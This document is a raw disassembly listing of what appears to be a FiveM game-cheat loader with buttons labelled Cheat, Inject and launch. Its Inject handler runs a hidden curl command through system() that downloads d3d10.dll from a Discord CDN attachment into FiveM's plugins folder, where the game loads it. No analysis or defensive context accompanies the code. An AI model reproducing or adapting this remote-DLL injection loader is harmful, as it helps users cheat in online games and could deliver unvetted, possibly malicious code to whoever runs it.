movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x64]
subss xmm0, dword [rax + 0x68]
mov byte [rax + 0x121], r13b
addss xmm1, xmm13
subss xmm0, xmm8
movss dword [rax + 0xe0], xmm1
movaps xmm1, xmmword [0x14009a900]
movss dword [rax + 0xe4], xmm0
xorps xmm0, xmm0
mov rcx, qword [rbp + 0xd0]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
movups xmmword [rsp + 0x68], xmm0
movups xmmword [rbp + 0x10], xmm1
call fcn.14002ed40
mov rbx, qword [0x1400d97d8]
xor edx, edx
mov dword [rbp - 0x30], 0x42c80000
mov dword [rbp - 0x2c], 0x43700000
mov rax, qword [rbx + 0x3ea0]
mov byte [rax + 0x98], r13b
mov rax, qword [rbx + 0x3ea0]
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x68]
mov byte [rax + 0x121], r13b
addss xmm0, xmm14
movss dword [rax + 0xe4], xmm0
mov rax, qword [rbx + 0x3ea0]
mov byte [rax + 0x98], r13b
mov rax, qword [rbx + 0x3ea0]
movsxd rcx, dword [rax + 0xd0]
mov rax, qword [rax + 0xd8]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, str.B_TAB
call fcn.140002b80
mov edi, eax
cmp dword [rbx + 0x3ed4], eax
jne 0x140032d3a
lea r8, str.B_TAB
mov edx, 0xb
mov ecx, eax
call fcn.140017ac0
lea r8, [rbp - 0x30]
mov edx, edi
lea rcx, str.B_TAB
call fcn.14000a6a0
mov rcx, qword [0x1400d97d8]
lea rdx, [rbp - 0x28]
mov r14, qword [rsp + 0x60]
mov dword [rbp - 0x28], 0x42c80000
mov dword [rbp - 0x24], 0x42480000
mov dword [r14 + 0x3824], 0x40e00000
mov dword [r14 + 0x37f0], 0x40a00000
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0x98], r13b
mov rax, qword [rcx + 0x3ea0]
lea rcx, str.Cheat
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x68]
mov byte [rax + 0x121], r13b
addss xmm0, xmm8
movss dword [rax + 0xe4], xmm0
call fcn.14002da00
test al, al
mov dword [rsp + 0x78], 0x42c80000
lea rdx, [rsp + 0x78]
mov dword [rsp + 0x7c], 0x42480000
lea rcx, str.Start_FiveM
cmovne r15d, r13d
call fcn.14002da00
test al, al
je 0x140032e05
mov r15d, 2
call fcn.14000a8a0
movaps xmm1, xmm7
movaps xmm0, xmm6
call fcn.140011060
jmp 0x140032fdc
call fcn.14000a8a0
movaps xmm1, xmm7
movaps xmm0, xmm6
call fcn.140011060
mov eax, r15d
cmp r15d, r13d
jne 0x140032fd3
movaps xmm1, xmmword [0x14009a900]
lea rax, [rsp + 0x68]
mov rcx, qword [rbp + 0x20]
lea r9, [rbp - 0x78]
mov qword [rsp + 0x28], rax
lea r8, [rbp - 0x80]
lea rax, [rbp + 0x10]
mov dword [rbp - 0x78], 0x3f800000
xorps xmm0, xmm0
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x20]
mov dword [rbp - 0x74], 0x3f800000
movups xmmword [rsp + 0x68], xmm0
mov qword [rbp - 0x80], r12
movups xmmword [rbp + 0x10], xmm1
mov dword [rbp - 0x20], 0x43870000
mov dword [rbp - 0x1c], 0x43160000
call fcn.14002ed40
mov rbx, qword [0x1400d97d8]
xor edx, edx
movaps xmm0, xmmword [0x14009a840]
movaps xmm1, xmmword [0x14009a7a0]
mov dword [rbp - 0x18], 0x436b0000
movups xmmword [rbx + 0x39f8], xmm0
mov dword [rbp - 0x14], 0x41f00000
movups xmmword [rbx + 0x3a08], xmm1
movups xmmword [rbx + 0x3a18], xmm0
mov rax, qword [rbx + 0x3ea0]
mov byte [rax + 0x98], r13b
mov rax, qword [rbx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x64]
subss xmm0, dword [rax + 0x68]
mov byte [rax + 0x121], r13b
addss xmm1, xmm11
addss xmm0, xmm12
movss dword [rax + 0xe0], xmm1
movss dword [rax + 0xe4], xmm0
mov rax, qword [rbx + 0x3ea0]
mov byte [rax + 0x98], r13b
mov rax, qword [rbx + 0x3ea0]
movsxd rcx, dword [rax + 0xd0]
mov rax, qword [rax + 0xd8]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [0x1400999dc]
call fcn.140002b80
mov edi, eax
cmp dword [rbx + 0x3ed4], eax
jne 0x140032f51
lea r8, [0x1400999dc]
mov edx, 0xb
mov ecx, eax
call fcn.140017ac0
lea r8, [rbp - 0x18]
mov edx, edi
lea rcx, [0x1400999dc]
call fcn.14000a6a0
lea rdx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x42c80000
lea rcx, str.Inject
mov dword [rbp - 0xc], 0x41f00000
call fcn.14002da00
test al, al
je 0x140032f92
lea rcx, str.curl___silent__o___LOCALAPPDATA_FiveMFiveM.apppluginsd3d10.dll___https:__cdn.discordapp.com_attachments_1143616598805053563_1143616632275599411_d3d10.dll_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm1, xmm7
movaps xmm0, xmm6
call fcn.140011060
mov rcx, qword [0x1400d97d8]
movaps xmm0, xmmword [0x14009a7d0]
movups xmmword [rbx + 0x38a8], xmm0
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0x98], r13b
mov rax, qword [rcx + 0x3ea0]
lea rcx, str.__Press_Inject_to_start
jmp 0x14003319b
cmp eax, 2
jne 0x1400331c3
movaps xmm1, xmmword [0x14009a900]
lea rax, [rsp + 0x68]
mov rcx, qword [rbp + 0x20]
lea r9, [rbp - 8]
mov qword [rsp + 0x28], rax
lea r8, [rbp]
lea rax, [rbp + 0x10]
mov dword [rbp - 8], 0x3f800000
xorps xmm0, xmm0
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 8]
mov dword [rbp - 4], 0x3f800000
movups xmmword [rsp + 0x68], xmm0
mov qword [rbp], r12
movups xmmword [rbp + 0x10], xmm1
mov dword [rbp + 8], 0x43870000
mov dword [rbp + 0xc], 0x43160000
call fcn.14002ed40
mov rbx, qword [0x1400d97d8]
xor edx, edx
movaps xmm0, xmmword [0x14009a840]
movaps xmm1, xmmword [0x14009a7a0]
mov dword [rbp + 0x140], 0x436b0000
movups xmmword [rbx + 0x39f8], xmm0
mov dword [rbp + 0x144], 0x41f00000
movups xmmword [rbx + 0x3a08], xmm1
movups xmmword [rbx + 0x3a18], xmm0
mov rax, qword [rbx + 0x3ea0]
mov byte [rax + 0x98], r13b
mov rax, qword [rbx + 0x3ea0]
movss xmm1, dword [rax + 0x18]
movss xmm0, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x64]
subss xmm0, dword [rax + 0x68]
mov byte [rax + 0x121], r13b
addss xmm1, xmm11
addss xmm0, xmm12
movss dword [rax + 0xe0], xmm1
movss dword [rax + 0xe4], xmm0
mov rax, qword [rbx + 0x3ea0]
mov byte [rax + 0x98], r13b
mov rax, qword [rbx + 0x3ea0]
movsxd rcx, dword [rax + 0xd0]
mov rax, qword [rax + 0xd8]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [0x1400999dc]
call fcn.140002b80
mov edi, eax
cmp dword [rbx + 0x3ed4], eax
jne 0x140033112
lea r8, [0x1400999dc]
mov edx, 0xb
mov ecx, eax
call fcn.140017ac0
lea r8, [rbp + 0x140]
mov edx, edi
lea rcx, [0x1400999dc]
call fcn.14000a6a0
lea rdx, [rbp + 0x138]
mov dword [rbp + 0x138], 0x42c80000
lea rcx, str.launch
mov dword [rbp + 0x13c], 0x41f00000
call fcn.14002da00
test al, al
je 0x14003315f
lea rcx, str.C:_Users_s_AppData_Local_FiveM_FiveM.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movaps xmm1, xmm7
movaps xmm0, xmm6
call fcn.140011060
mov rcx, qword [0x1400d97d8]
movaps xmm0, xmmword [0x14009a7d0]
movups xmmword [rbx + 0x38a8], xmm0
mov rax, qword [rcx + 0x3ea0]
mov byte [rax + 0x98], r13b
mov rax, qword [rcx + 0x3ea0]
lea rcx, str.__Press_Launch_to_start
movss xmm0, dword [rax + 0x1c]
subss xmm0, dword [rax + 0x68]
addss xmm0, xmm9
movss dword [rax + 0xe4], xmm0
mov byte [rax + 0x121], r13b
call fcn.14002cf40
call fcn.14000a8a0
call fcn.14000f770
call fcn.140009f80
mov rcx, qword [0x1400d9848]
lea r8, [0x1400d9830]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x330], xmm0
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + pe_nt_image_headers64]
mov rcx, qword [0x1400d9848]
lea r8, [rbp + 0x330]
mov rdx, qword [0x1400d9830]
mov rax, qword [rcx]
call qword [rax + 0x190]
mov rax, qword [0x1400d97d8]
mov rcx, qword [rax + 0x4860]
mov rax, qword [rcx]
mov rcx, r12
add rax, 0x48
cmp byte [rax], r12b
cmovne rcx, rax
call fcn.140028c30
mov rcx, qword [0x1400d9838]
xor r8d, r8d
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x40]
cmp byte [rbp + 0x130], r12b
je 0x140032331
mov ecx, dword [0x1400d9800]
jmp 0x1400323b0
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rbx, rsi
call fcn.140029be0
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x140033281
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbx]
test rcx, rcx
je 0x14003328f
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14003329e
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rax, qword [0x1400d97d8]
mov qword [rdi + 0x90], rsi
mov qword [rdi + 0xa0], rsi
test rax, rax
je 0x1400332be
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x1400d97d8]
test rax, rax
je 0x1400332dc
mov rbx, qword [rax + 0x98]
jmp 0x1400332df
mov rbx, rsi
mov rcx, qword [rbx + 0x30]
lea rdi, [rax + 8]
test rcx, rcx
je 0x1400332f9
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x1400d97d8]
mov qword [rdi + 0x80], rsi
mov qword [rdi + 0x90], rsi
test rax, rax
je 0x140033312
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x1400d97d8]
mov qword [0x1400d97d8], rbx
call fcn.140008960
mov qword [0x1400d97d8], rsi
test rbx, rbx
je 0x14003335d
mov rcx, rbx
call fcn.140018ca0
mov rax, qword [0x1400d97d8]
test rax, rax
je 0x140033354
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.140033410
mov rcx, qword [0x1400d97e8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0xf8]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.USER32.dll_UnregisterClassA]
movaps xmm13, xmmword [rsp + 0x460]
xor eax, eax
movaps xmm14, xmmword [rsp + 0x450]
movaps xmm11, xmmword [rsp + 0x480]
movaps xmm10, xmmword [rsp + 0x490]
movaps xmm9, xmmword [rsp + 0x4a0]
movaps xmm8, xmmword [rsp + 0x4b0]
movaps xmm7, xmmword [rsp + 0x4c0]
mov r15, qword [rsp + 0x520]
mov r14, qword [rsp + 0x518]
mov r13, qword [rsp + 0x510]
movaps xmm12, xmmword [rsp + 0x470]
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.140033600
movaps xmm6, xmmword [rsp + 0x4d0]
add rsp, 0x4e0
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret